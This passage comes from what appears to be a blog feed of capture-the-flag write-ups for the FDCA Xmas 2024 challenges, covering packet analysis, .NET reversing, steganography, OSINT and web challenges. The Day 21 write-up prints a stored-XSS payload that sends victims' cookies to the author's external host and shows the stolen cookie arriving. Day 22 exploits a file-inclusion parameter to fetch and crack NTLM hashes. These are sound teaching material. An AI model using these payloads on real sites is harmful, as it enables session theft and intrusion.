0x0020: 00 65 EA 4E 00 15 76 61 A4 72 B9 BA 3C 49 80 18  .e.N..va.r..<I..
0x0030: 40 00 C4 B5 00 00 01 01 08 0A 60 3F D2 82 1C 34  @.........`?...4
0x0040: 2D BF 46 45 41 54 0D 0A                          -.FEAT..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:35.907596  [**] [1:0:0] [**] [Priority: 0] {TCP} 101.0.0.101:21 -> 0.0.0.0:59982
12/24-15:00:35.907596 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x58
101.0.0.101:21 -> 0.0.0.0:59982 TCP TTL:64 TOS:0x0 ID:38863 IpLen:20 DgmLen:74 DF
***AP*** Seq: 0xB9BA3C49  Ack: 0x7661A478  Win: 0x200  TcpLen: 32
TCP Options (3) => NOP NOP TS: 473181633 1614795394
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 4A 97 CF 40 00 40 06 3D 7A 65 00 00 65 00 00  .J..@.@.=ze..e..
0x0020: 00 00 00 15 EA 4E B9 BA 3C 49 76 61 A4 78 80 18  .....N..<Iva.x..
0x0030: 02 00 EF F8 00 00 01 01 08 0A 1C 34 2D C1 60 3F  ...........4-.`?
0x0040: D2 82 35 30 30 20 55 6E 6B 6E 6F 77 6E 20 63 6F  ..500 Unknown co

...TRUNCATED RESPONSE...

It is a FTP session, but it is so long that the output is truncated, so lets do some content filtering to find what we want (I tried to look for a few things, but file worked):

Please input your magical sequence:
>>> alert tcp any any <> 101.0.0.101 21 (content:"file"; sid:1)

Sequence recieved. Validating magic sequence...
Validation succeeded. Beginning sequencing of your submission...
SNORT'er finished with the following results:
12/24-15:00:35.959223  [**] [1:1:0] [**] [Priority: 0] {TCP} 101.0.0.101:21 -> 0.0.0.0:59982
12/24-15:00:35.959223 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x1B6
101.0.0.101:21 -> 0.0.0.0:59982 TCP TTL:64 TOS:0x0 ID:38869 IpLen:20 DgmLen:424 DF
***AP*** Seq: 0xB9BA3CEE  Ack: 0x7661A4B1  Win: 0x200  TcpLen: 32
TCP Options (3) => NOP NOP TS: 473181685 1614795448
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 01 A8 97 D5 40 00 40 06 3C 16 65 00 00 65 00 00  ....@.@.<.e..e..
0x0020: 00 00 00 15 EA 4E B9 BA 3C EE 76 61 A4 B1 80 18  .....N..<.va....
0x0030: 02 00 B6 89 00 00 01 01 08 0A 1C 34 2D F5 60 3F  ...........4-.`?
0x0040: D2 B8 20 20 20 20 20 43 6F 6E 6E 65 63 74 65 64  ..     Connected
0x0050: 20 74 6F 20 31 37 32 2E 32 31 2E 30 2E 32 0D 0A   to 172.21.0.2..
0x0060: 20 20 20 20 20 4C 6F 67 67 65 64 20 69 6E 20 61       Logged in a
0x0070: 73 20 73 75 72 74 72 0D 0A 20 20 20 20 20 54 59  s surtr..     TY
0x0080: 50 45 3A 20 42 49 4E 41 52 59 0D 0A 20 20 20 20  PE: BINARY..
0x0090: 20 53 65 73 73 69 6F 6E 20 74 69 6D 65 6F 75 74   Session timeout
0x00A0: 20 69 6E 20 73 65 63 6F 6E 64 73 20 69 73 20 31   in seconds is 1
0x00B0: 32 30 0D 0A 20 20 20 20 20 43 6F 6E 74 72 6F 6C  20..     Control
0x00C0: 20 63 6F 6E 6E 65 63 74 69 6F 6E 20 69 73 20 70   connection is p
0x00D0: 6C 61 69 6E 20 74 65 78 74 0D 0A 20 20 20 20 20  lain text..
0x00E0: 44 61 74 61 20 63 6F 6E 6E 65 63 74 69 6F 6E 73  Data connections
0x00F0: 20 77 69 6C 6C 20 62 65 20 70 6C 61 69 6E 20 74   will be plain t
0x0100: 65 78 74 0D 0A 20 20 20 20 20 4D 61 78 69 6D 75  ext..     Maximu
0x0110: 6D 20 66 69 6C 65 20 73 69 7A 65 20 69 73 20 31  m file size is 1
0x0120: 30 30 30 30 30 30 30 20 62 79 74 65 73 0D 0A 20  0000000 bytes..
0x0130: 20 20 20 20 54 68 65 20 54 72 75 74 68 20 69 73      The Truth is
0x0140: 20 69 6E 20 74 68 65 20 64 65 74 61 69 6C 73 20   in the details
0x0150: 2D 20 66 58 52 31 54 31 39 30 61 47 64 70 55 6C  - fXR1T190aGdpUl
0x0160: 39 30 59 57 68 55 58 32 52 6C 56 46 4A 50 54 6C  90YWhUX2RlVFJPTl
0x0170: 4E 66 64 57 39 5A 65 30 46 44 52 45 59 3D 20 2D  NfdW9Ze0FDREY= -
0x0180: 20 59 6F 75 20 70 72 6F 62 61 62 6C 79 20 77 61   You probably wa
0x0190: 6E 6E 61 20 6C 6F 6F 6B 20 61 74 20 74 68 69 73  nna look at this
0x01A0: 2E 0D 0A 32 31 31 20 45 6E 64 20 6F 66 20 73 74  ...211 End of st
0x01B0: 61 74 75 73 0D 0A                                atus..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

Decoding the base64 and reversing the string gives the flag:

$ echo "fXR1T190aGdpUl90YWhUX2RlVFJPTlNfdW9Ze0FDREY=" | base64 -d | rev
FDCA{You_SNORTed_That_Right_Out}
]]>FDCA Xmas 2024 Day 23 - Den Indpakkede Gavehttps://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-23-den-indpakkede-gave/Tue, 24 Dec 2024 15:59:23 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-23-den-indpakkede-gave/Challenge Description Danish (original) Thor har modtaget en besked fra jætterne, som hævder at have krypteret et vigtigt juleflag i en digital gave. Kun de, der kan afkode beskeden og bryde jætternes obfuskerede logik, kan hjælpe Asgård med at genoprette flaget. Kan du finde flaget og redde julen? English (from chatgpt) Thor has received a message from the giants, claiming to have encrypted an important Christmas flag in a digital gift.Challenge Description

Danish (original)

Thor har modtaget en besked fra jætterne, som hævder at have krypteret et vigtigt juleflag i en digital gave. Kun de, der kan afkode beskeden og bryde jætternes obfuskerede logik, kan hjælpe Asgård med at genoprette flaget. Kan du finde flaget og redde julen?

English (from chatgpt)

Thor has received a message from the giants, claiming to have encrypted an important Christmas flag in a digital gift. Only those who can decode the message and break the giants’ obfuscated logic can help Asgard restore the flag. Can you find the flag and save Christmas?

File

We are also given the following file:

Solution

Unzipping the file we get an exe file:

$ unzip IndpakketGave.zip
Archive:  IndpakketGave.zip
  inflating: IndpakketGave.exe

Running strings I found .NET library names (e.g. System.Security.Cryptography), so I tried opening it with AvaloniaILSpy, but that actually did not work. So thinking about the challenge name “Den Indpakkede Gave” (The Wrapped Gift) I used foremost to see if it might be a program in a program, and it sure is:

$ foremost IndpakketGave.exe
Processing: IndpakketGave.exe
|*|

$ cat output/audit.txt
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File

Foremost started at Mon Dec 23 09:54:20 2024
Invocation: foremost IndpakketGave.exe
Output directory: /home/osiriz/dl/output
Configuration file: /etc/foremost.conf
------------------------------------------------------------------
File: IndpakketGave.exe
Start: Mon Dec 23 09:54:20 2024
Length: 118 KB (121346 bytes)

Num      Name (bs=512)         Size      File Offset     Comment

0:      00000000.exe         108 KB               0      10/17/2024 12:16:00
1:      00000216.exe           9 KB          110592      12/08/2088 01:22:32
Finish: Mon Dec 23 09:54:20 2024

2 FILES EXTRACTED

exe:= 2
------------------------------------------------------------------

Foremost finished at Mon Dec 23 09:54:20 2024

So opening the extracted 00000216.exe instead we can get the following source code:

internal class P
{
	private static void Main(string[] args)
	{
		Console.WriteLine("\n                                 |\n                               \\ ' /\n                             -- (*) --\n                                >*<\n                               >0<@<\n                              >>>@<<*\n                             >@>*<0<<<\n                            >*>>@<<<@<<\n                           >@>>0<<<*<<@<\n                          >*>>0<<@<<<@<<<\n                         >@>>*<<@<>*<<0<*<\n           \\*/          >0>>*<<@<>0><<*<@<<\n       ___\\\\U//___     >*>>@><0<<*>>@><*<0<<\n       |\\\\ | | \\\\|    >@>>0<*<0>>@<<0<<<*<@<<  \n       | \\\\| | _(UU)_ >((*))_>0><*<0><@<<<0<*<\n       |\\ \\| || / //||.*.*.*.|>>@<<*<<@>><0<<<\n       |\\\\_|_|&&_// ||*.*.*.*|_\\\\db//_               \n       \"\"|'.'.'.|~~|.*.*.*|     ____|_\n           |'.'.'.|   ^^^^^^|____|>>>>>>|\n           ~~~~~~~~         '\"\"`------'\n                                   ");
		string kG = Resources.kG;
		Console.WriteLine("Velkommen!");
		Console.WriteLine("Venligst indsat flaget:");
		string? q = Console.ReadLine();
		byte[] bytes = Encoding.ASCII.GetBytes("valhallahpakkergodegaver");
		byte[] s = new byte[16];
		if (S(E(q, bytes, s)) == kG)
		{
			Console.WriteLine("Tillykke dit flag er korrekt!");
		}
		else
		{
			Console.WriteLine("Forkert.");
		}
	}

	private static string E(string q, byte[] r, byte[] s)
	{
		using AesManaged aesManaged = new AesManaged();
		aesManaged.Key = r;
		aesManaged.IV = s;
		aesManaged.Mode = CipherMode.CBC;
		using MemoryStream memoryStream = new MemoryStream();
		using (CryptoStream stream = new CryptoStream(memoryStream, aesManaged.CreateEncryptor(), CryptoStreamMode.Write))
		{
			using StreamWriter streamWriter = new StreamWriter(stream);
			streamWriter.Write(q);
		}
		return Convert.ToBase64String(memoryStream.ToArray());
	}

	private static string S(string q)
	{
		char[] array = q.ToCharArray();
		for (int i = 0; i < array.Length - 1; i += 2)
		{
			char c = array[i];
			array[i] = array[i + 1];
			array[i + 1] = c;
		}
		return new string(array);
	}
}

And also important is Resources.kG:

aS6BpWo8WyKFzwRzntKjW+nuD4+IeeZbMM2OmQcsTf2fgWoE81bOah1hmiPTLOzP

So reversing the operations we can get the flag, here is my solve script:

from Crypto.Cipher import AES
import base64

kg = list("aS6BpWo8WyKFzwRzntKjW+nuD4+IeeZbMM2OmQcsTf2fgWoE81bOah1hmiPTLOzP")
key = b'valhallahpakkergodegaver'
iv = b'\x00' * 16

for i in range(0, len(kg) - 1, 2):
    kg[i], kg[i+1] = kg[i+1], kg[i]

ciphertext = base64.b64decode(''.join(kg))

cipher = AES.new(key, AES.MODE_CBC, iv=iv)

print(cipher.decrypt(ciphertext))

$ python solve.py
b'FDCA{1ndp4kk3t_g4ver_er_d3_8edste}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
]]>FDCA Xmas 2024 Day 22 - JætteBit 2.0https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-22-j%C3%A6ttebit-2.0/Tue, 24 Dec 2024 15:59:22 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-22-j%C3%A6ttebit-2.0/Challenge Description Danish (original) I et dristigt hack-back forsøg efter Jætterne har krypteret Æsirne, er du blevet udvalgt til at afdække svagheder hos den frygtede ransomwaregruppe JætteBit 2.0. Gruppen skulle angiveligt have terroriseret organisationer verden over, og nu er det tid til at gøre en ende på dem en gang for alle. Din mission er simpel: Søg med lys og lygte efter cleartext credentials som kan bidrage til hack-back missionen. Måske har de været så ivrige efter at offentliggøre deres ofre, at de har glemt deres egen sikkerhed som kunne afsløre brugernavne, adgangskoder eller andre følsomme data, gemt i hemmelige filer.Challenge Description

Danish (original)

I et dristigt hack-back forsøg efter Jætterne har krypteret Æsirne, er du blevet udvalgt til at afdække svagheder hos den frygtede ransomwaregruppe JætteBit 2.0. Gruppen skulle angiveligt have terroriseret organisationer verden over, og nu er det tid til at gøre en ende på dem en gang for alle.

Din mission er simpel: Søg med lys og lygte efter cleartext credentials som kan bidrage til hack-back missionen. Måske har de været så ivrige efter at offentliggøre deres ofre, at de har glemt deres egen sikkerhed som kunne afsløre brugernavne, adgangskoder eller andre følsomme data, gemt i hemmelige filer.

Navigér forsigtigt på deres hjemmeside hvor de lækker data. Men vær varsom – jætterne er eksperter i at opsætte fælder for dem, der kommer for tæt på.

Held og lykke, og må du være den, der bringer Ragnarok til JætteBit 2.0!

Sitet kan findes på http://p9x6m4b2vqz7htfj.onion.jættenettet.dk

Flag er i formatet FDCA{username:password}

English (from chatgpt)

In a bold hack-back attempt after the Giants have encrypted the Aesir, you have been selected to uncover weaknesses in the feared ransomware group JætteBit 2.0. The group is said to have terrorized organizations worldwide, and now it’s time to put an end to them once and for all.

Your mission is simple: Search high and low for cleartext credentials that can contribute to the hack-back mission. Perhaps they have been so eager to publish their victims’ data that they’ve forgotten their own security, which could reveal usernames, passwords, or other sensitive data hidden in secret files.

Navigate carefully on their website where they leak data. But be cautious – the giants are experts at setting traps for those who get too close.

Good luck, and may you be the one to bring Ragnarok to JætteBit 2.0!

The site can be found at http://p9x6m4b2vqz7htfj.onion.jættenettet.dk

Flags are in the format FDCA{username:password}

Solution

Going to the provided website we are meet with a classical ransomware group website.

Checking robots.txt we can see that /backend is disallowed

$ curl "http://p9x6m4b2vqz7htfj.onion.jættenettet.dk/robots.txt"
User-agent: *
Disallow: /backend/

Having visited /backend and fighting with its interaction hooks, I have opted to research it using curl:

$ curl "http://p9x6m4b2vqz7htfj.onion.jættenettet.dk/backend"
[expunged for readability]
</body>
</html>
<script src="https://osiriz.dev/index.js"></script>
<script async src="https://www.googletagmanager.com/gtag/js?id=UA-3898076-24"></script>
<script>
[expunged for readability]

We can see that the page loads /index.js, so lets look at that:

$ curl "http://p9x6m4b2vqz7htfj.onion.jættenettet.dk/index.js"
[expunged for readability]
const hemmelige_filer = [
  'intern/hashrevision/jaette_ntds_hashes.txt'
]
[expunged for readability]

The file does a lot, but most important for us the hemmelige_filer (secret files) variable that seems to give a path to a file with ntds hashes. Sadly we cannot just visit /intern/hashrevision/jaette_ntds_hashes.txt to get it, so lets try and find another way.

Going back to the frontpage and clicking on one of the “Betal nu” (Pay now) button the url becomes the following: http://p9x6m4b2vqz7htfj.onion.jættenettet.dk/betal.php?file=betal.html, the ?file parameter here seems to indicate a possible LFI (local file inclusion) vulnerability.

So lets try http://p9x6m4b2vqz7htfj.onion.jættenettet.dk/betal.php?file=intern/hashrevision/jaette_ntds_hashes.txt, and bingo we get the hashes:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:6c569aabbf7775ef8fc570e228c16b98:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
jotunheimr:1001:aad3b435b51404eeaad3b435b51404ee:8d777f385d3dfec881f3f8e2d7b2b93b:::
surt:1002:aad3b435b51404eeaad3b435b51404ee:c4ca4238a0b923820dcc509a6f75849b:::
ymer:1003:aad3b435b51404eeaad3b435b51404ee:2c6ee24b09816a6f14f95d1698b24ead:::
skadi:1004:aad3b435b51404eeaad3b435b51404ee:9c56f361f0b66d4b2f4db0b74a5b5c2f:::
loki:1005:aad3b435b51404eeaad3b435b51404ee:9e107d9d372bb6826bd81d3542a419d6:::
angrboða:1006:aad3b435b51404eeaad3b435b51404ee:bad0c6db35173c1b63459db6a1a2a22e:::
fafnir:1007:aad3b435b51404eeaad3b435b51404ee:1f54deae0f9a2ba375c724235ffaaefd:::
hel:1008:aad3b435b51404eeaad3b435b51404ee:9d5ed678fe57bcca4ec8b7b6d4b1e3b7:::
krbtgt:65534:aad3b435b51404eeaad3b435b51404ee:bfb8d96e5176b084ee453de1e6d5a1d0:::

These are NTLM hashes, so we are actually only interested in the last hash value since the LM hash is the same, so lets cut the hash out:

$ cut -d':' -f4 jaette_ntds_hashes.txt
6c569aabbf7775ef8fc570e228c16b98
31d6cfe0d16ae931b73c59d7e0c089c0
8d777f385d3dfec881f3f8e2d7b2b93b
c4ca4238a0b923820dcc509a6f75849b
2c6ee24b09816a6f14f95d1698b24ead
9c56f361f0b66d4b2f4db0b74a5b5c2f
9e107d9d372bb6826bd81d3542a419d6
bad0c6db35173c1b63459db6a1a2a22e
1f54deae0f9a2ba375c724235ffaaefd
9d5ed678fe57bcca4ec8b7b6d4b1e3b7
bfb8d96e5176b084ee453de1e6d5a1d0

I will take these and use ntlm.pw to look them up:

We can see that one of the hashes is netcompany123, and looking back at jaette_ntds_hashes.txt we can see that fafnir owns this hash, so the flag is: FDCA{fafnir:netcompany123}

]]>FDCA Xmas 2024 Day 21 - Det Nordiske Værkstedhttps://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-21-det-nordiske-v%C3%A6rksted/Tue, 24 Dec 2024 15:59:21 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-21-det-nordiske-v%C3%A6rksted/Challenge Description Danish (original) Velkommen til Det Nordiske Værksted Frej har endelig fundet sin hjerteven, i hans helt egen webshop. Det Nordiske Værksted er stedet, hvor kunder ikke bare køber julepynt, men også går på opdagelse i en verden af nordisk inspiration. Mange besøgende elsker at tage sig tid til at kigge rundt på siden, nyde udvalget og lade sig opsluge af stemningen. Men er den helt sikker? English (from chatgpt) Welcome to The Nordic WorkshopChallenge Description

Danish (original)

Velkommen til Det Nordiske Værksted

Frej har endelig fundet sin hjerteven, i hans helt egen webshop.

Det Nordiske Værksted er stedet, hvor kunder ikke bare køber julepynt, men også går på opdagelse i en verden af nordisk inspiration. Mange besøgende elsker at tage sig tid til at kigge rundt på siden, nyde udvalget og lade sig opsluge af stemningen.

Men er den helt sikker?

English (from chatgpt)

Welcome to The Nordic Workshop

Frej has finally found his heart’s companion, in his very own webshop.

The Nordic Workshop is the place where customers not only buy Christmas decorations but also explore a world of Nordic inspiration. Many visitors love to take their time browsing the site, enjoying the selection, and immersing themselves in the atmosphere.

But is it completely secure?

Solution

Going to the provided website (http://nordiskevaerksted.jul.fdca.dk:5000/), we are meet with a webshop:

More interesting though is the reviews (anmeldelser) since we can actually write something here that should be reflected for other users:

After some trial and error I found out that we can use XSS by using the onerror of an img tag (script dont work):

<img src=x onerror=alert(1);>

So lets try and steal a user’s session cookie by using the following payload1:

<img src=x onerror=document.location="https://osiriz.xyz/?c="+document.cookie;>

Looking at the access log we soon see the flag come in via the cookie exfil:

135.225.104.218 - "GET /?c=Flag=FDCA{N0gle_g4ng3_sk41_m4n_v3nt3}&%20visitor_id=c47192e3-4df9-4251-a4d1-b6282f4cb5b5 HTTP/2.0" 200

  1. I have used my website in this example, but tools like ngrok and python -m http.server could also be used. ↩︎

]]>FDCA Xmas 2024 Day 20 - Exfiltering i Asgårdhttps://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-20-exfiltering-i-asg%C3%A5rd/Tue, 24 Dec 2024 15:59:20 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-20-exfiltering-i-asg%C3%A5rd/Challenge Description Danish (original) Vi har opsnappet noget netværkstrafik, der tyder på, at Jætterne har haft adgang til Asgårds filservere og har exfiltreret filer. Vi frygter, at nogle af disse filer indeholder følsomme oplysninger, som Jætterne vil bruge til at afpresse Thor. Denne situation er kritisk, og vi har brug for din hjælp til at finde ud af, hvad der er blevet stjålet, før Jætterne kan gennemføre deres plan. English (from chatgpt) We have intercepted some network traffic suggesting that the Giants have had access to Asgard&rsquo;s file servers and have exfiltrated files.Challenge Description

Danish (original)

Vi har opsnappet noget netværkstrafik, der tyder på, at Jætterne har haft adgang til Asgårds filservere og har exfiltreret filer. Vi frygter, at nogle af disse filer indeholder følsomme oplysninger, som Jætterne vil bruge til at afpresse Thor.

Denne situation er kritisk, og vi har brug for din hjælp til at finde ud af, hvad der er blevet stjålet, før Jætterne kan gennemføre deres plan.

English (from chatgpt)

We have intercepted some network traffic suggesting that the Giants have had access to Asgard’s file servers and have exfiltrated files. We fear that some of these files contain sensitive information that the Giants will use to blackmail Thor.

This situation is critical, and we need your help to determine what has been stolen before the Giants can carry out their plan.

File

We are also given the following file:

Solution

Unzip the file, we can see it contains a pcap file:

$ 7z x capture.7z
[expunged for readabilty]

$ ls
capture.7z  capture.pcap

Opening the pcap in wireshark we can see a lot of HTTPS traffic (TCP, TLS and QUIC more specifically), but scrolling through we can also spot some FTP traffic. So I exported the FTP files using the File > Export Objects > FTP-DATA menu option and saving them all to a directory.

$ ls
AsgardMap.jpg  flag.txt  ThorMemes.zip  ThorTheKisser.jpeg  Very_Secret.docx

Looking through I found the flag in ThorTheKisser.jpeg:

The flag is: FDCA{FTP_15_N07_S3cur3}

]]>FDCA Xmas 2024 Day 19 - Naglfarhttps://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-19-naglfar/Tue, 24 Dec 2024 15:59:19 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-19-naglfar/Challenge Description Danish (original) Naglfar er drevet i land under sommerens stråler. Naglfar hviler nu i en smuk sø. Ikke langt fra søen ligger et velkendt monument, som indeholder ældgammel kryptografi. Det er en meget velkendt mand som har skrevet denne kryptografi i tidernes morgen. Hvad er navnet på søen, Naglfar ligger i? Hvilken moderne teknologi er forbundet med denne mand? Du skal selv sammensætte flaget. Flagets format er således: FDCA{navn_på_sø_teknologi}Challenge Description

Danish (original)

Naglfar er drevet i land under sommerens stråler. Naglfar hviler nu i en smuk sø. Ikke langt fra søen ligger et velkendt monument, som indeholder ældgammel kryptografi. Det er en meget velkendt mand som har skrevet denne kryptografi i tidernes morgen.

Hvad er navnet på søen, Naglfar ligger i? Hvilken moderne teknologi er forbundet med denne mand?

Du skal selv sammensætte flaget. Flagets format er således: FDCA{navn_på_sø_teknologi}

English (from chatgpt)

Naglfar has been driven ashore under the summer’s rays. Naglfar now rests in a beautiful lake. Not far from the lake lies a well-known monument that contains ancient cryptography. It is a very famous man who wrote this cryptography in the dawn of time.

What is the name of the lake where Naglfar rests? What modern technology is associated with this man?

You must assemble the flag yourself. The flag’s format is as follows: FDCA{lake_name_technology}

File

We are also given the following file:

Solution

Unzipping the file, we get an image:

$ unzip
Archive:  opgave.zip
  inflating: sommerdag.png

Reverse image searching the image gives a few possible location, but only one fit with the rest of the description: Faarup Lake (Fårup Sø), since the Jelling stones are nearby, which is connected to Harald Bluetooth (Harald Blåtand), the name sake of Bluetooth. So the flag is: FDCA{fårup_sø_bluetooth}

]]>FDCA Xmas 2024 Day 18 - Thorbithttps://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-18-thorbit/Tue, 24 Dec 2024 15:59:18 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-18-thorbit/Challenge Description Danish (original) Thor, den mægtige tordengud, har udført en utrolig bedrift – han har kastet Mjølner, sin legendariske hammer, med så enorm kraft, at den nu kredser om Jorden i en uendelig himmelsk bane. Men Mjølner er jo ikke bare et almindeligt våben. Overladet med elektricitet sender den kraftige lynimpulser ned mod planeten. Disse impulser er ikke kun ødelæggende gnister; de bærer mystiske signaler på tværs af det elektromagnetiske spektrum, krypteret med Mjølners krav til Thor, for at vende tilbage til sin retmæssige herre.Challenge Description

Danish (original)

Thor, den mægtige tordengud, har udført en utrolig bedrift – han har kastet Mjølner, sin legendariske hammer, med så enorm kraft, at den nu kredser om Jorden i en uendelig himmelsk bane. Men Mjølner er jo ikke bare et almindeligt våben. Overladet med elektricitet sender den kraftige lynimpulser ned mod planeten. Disse impulser er ikke kun ødelæggende gnister; de bærer mystiske signaler på tværs af det elektromagnetiske spektrum, krypteret med Mjølners krav til Thor, for at vende tilbage til sin retmæssige herre.

Thor, fast besluttet på at genvinde sin elskede hammer, har tilkaldt FDCA for hjælp. Jeres mission: opfang signalet, afslør dets kryptiske besked, og dekrypter den guddommelige kryptering for at bringe Mjølner tilbage til Thor.

Jordstationen har en en hjemmeside der kan få dig igang her: http://groundstation.jul.fdca.dk

English (from chatgpt)

Thor, the mighty thunder god, has accomplished an incredible feat – he has thrown Mjölnir, his legendary hammer, with such immense force that it now orbits Earth in an endless celestial path. But Mjölnir is not just an ordinary weapon. Charged with electricity, it sends powerful lightning impulses down toward the planet. These impulses are not just destructive sparks; they carry mysterious signals across the electromagnetic spectrum, encrypted with Mjölnir’s demands to Thor, to return to its rightful master.

Thor, determined to reclaim his beloved hammer, has called upon FDCA for help. Your mission: intercept the signal, decipher its cryptic message, and decode the divine encryption to bring Mjölnir back to Thor.

The ground station has a website that can get you started here: http://groundstation.jul.fdca.dk

File

We are also given the following file:

Solution

The given file is a GNU Radio Companion Flow Graph, opening it with GNU Radio Companion we get:

The ZMQ SUB Source address is not set, and we are also getting error because sps (samples per symbol) cannot be calculated since sym_rate (symbol rate) is not set.

Looking at the source for the provided website, we find two comments:

<!--Husk, vi skal bruge jordstationens domæne eller ip addresse, og port 1337 for at behandle signaler fra den.-->
<!--sps == verdener i nordisk mytologi-->

english version (chatgpt):

<!--Remember, we need the ground station's domain or IP address, and port 1337 to process signals from it.-->
<!--sps == worlds in Norse mythology-->

So the source address should be tcp://groundstation.jul.fdca.dk:1337 and the sym_rate should be samp_rate/9 = 4242 (because sps = samp_rate/sym_rate), so that sps becomes 9 (the number of worlds in norse mythology), and since samp_rate = 4242*9 setting sym_rate = 4242 makes sps = 9.

Setting the right parameters and running it via Run > Execute and waiting at most 10 minutes, we get the following output from the builtin console:

***** VERBOSE PDU DEBUG PRINT ******
()
pdu length =         18 bytes
pdu vector contents = 
0000: 5a 58 57 55 7b 6d 67 34 35 62 5f 61 31 34 68 6e 
0010: 35 7d 
************************************

Decoding it from hex and rotating the letters by 6 we get the flag: FDCA{sm45h_g14nt5}

]]>FDCA Xmas 2024 Day 17 - Cats and codeshttps://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-17-cats-and-codes/Tue, 24 Dec 2024 15:59:17 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-17-cats-and-codes/Challenge Description Danish (original) ÅH NEJ!! Jætterne har ændret Odins katte billeder, Odin er dybt bedrøvet over dette og forlanger at dette udbedres. Derfor har han bedt os undersøge, hvad jætterne har gjort ved hans katte. English (from chatgpt) Oh no!! The giants have altered Odin&rsquo;s cat pictures, and Odin is deeply saddened by this and demands that it be fixed. Therefore, he has asked us to investigate what the giants have done to his cats.Challenge Description

Danish (original)

ÅH NEJ!! Jætterne har ændret Odins katte billeder, Odin er dybt bedrøvet over dette og forlanger at dette udbedres. Derfor har han bedt os undersøge, hvad jætterne har gjort ved hans katte.

English (from chatgpt)

Oh no!! The giants have altered Odin’s cat pictures, and Odin is deeply saddened by this and demands that it be fixed. Therefore, he has asked us to investigate what the giants have done to his cats.

File

We are also given the following file:

Solution

The zip file is password protected, so we need to bruteforce it with john the ripper:

$ unzip cat.zip
Archive:  cat.zip
[cat.zip] cat1.jpg password:

$ zip2john cat.zip > hash
[expunged for readability]

$ john --wordlist=rockyou.txt hash
[puter:16837] shmem: mmap: an error occurred while determining whether or not /tmp/ompi.puter.1000/jf.0/846856192/shared_mem_cuda_pool.hibari could be created.
[puter:16837] create_and_attach: unable to create shared memory BTL coordinating structure :: size 134217728
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thor123          (cat.zip)
1g 0:00:00:00 DONE (2024-12-17 20:03) 25.00g/s 3276Kp/s 3276Kc/s 3276KC/s 022179..korn13
Use the "--show" option to display all of the cracked passwords reliably
Session completed

$ unzip cat.zip
Archive:  cat.zip
[cat.zip] cat1.jpg password:
  inflating: cat1.jpg
  inflating: cat2.jpg
  inflating: cat3.jpg
  inflating: cat4.jpg
  inflating: cat5.jpg

Looking at the images we can figure out that cat4.jpg has a base64 encoded password in its exif data, and that cat5.jpg is actually also a zip file, which combined gives us cat6.jpg:

$ exiftool cat4.jpg
[expunged for readability]
Thumbnail Offset                : 2636
Thumbnail Length                : 5632
Comment                         : IUhlbW1lbGlndF9Lb2Rlb3JkMTMyNA==
Image Width                     : 2580
Image Height                    : 1720
[expunged for readability]

$ echo "IUhlbW1lbGlndF9Lb2Rlb3JkMTMyNA==" | base64 -d
!Hemmeligt_Kodeord1324

$ file --keep-going cat5.jpg
cat5.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 1440x1137, components 3\012-  Zip archive, with extra data prepended\012- data

$ unzip cat5.jpg
Archive:  cat5.jpg
warning [cat5.jpg]:  273423 extra bytes at beginning or within zipfile
  (attempting to process anyway)
[cat5.jpg] cat6.jpg password:
  inflating: cat6.jpg

Running stegseek --seed on cat6.jpg we can see that there is hidden data in it:

$ stegseek --seed cat6.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found (possible) seed: "30d194e1"
        Plain size: 55.7 KB (compressed)
        Encryption Algorithm: rijndael-128
        Encryption Mode:      cbc

The passphrase can be found on the cats chest: cat_7_is_my_favorite 

$ steghide extract -sf cat6.jpg
Enter passphrase:
wrote extracted data to "cat7.png".

And I got the flag from cat7.png by using Steganography Online: FDCA{den_danser_tango}

]]>FDCA Xmas 2024 Day 16 - Jætte Tracker 9000https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-16-j%C3%A6tte-tracker-9000/Tue, 24 Dec 2024 15:59:16 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-16-j%C3%A6tte-tracker-9000/Challenge Description Danish (original) Jætterne er blevet avanceret, så vi skal have en mere systematisk tilgang til at finde dem. Odin har fået nogen til at lave et jætte tracking system. Det er noget magi som får det til at virke, men er magi altid sikkert? English (from chatgpt) The giants have become more advanced, so we need a more systematic approach to finding them. Odin has had someone create a giant tracking system.Challenge Description

Danish (original)

Jætterne er blevet avanceret, så vi skal have en mere systematisk tilgang til at finde dem.

Odin har fået nogen til at lave et jætte tracking system. Det er noget magi som får det til at virke, men er magi altid sikkert?

English (from chatgpt)

The giants have become more advanced, so we need a more systematic approach to finding them.

Odin has had someone create a giant tracking system. It’s some magic that makes it work, but is magic always safe?

Solution

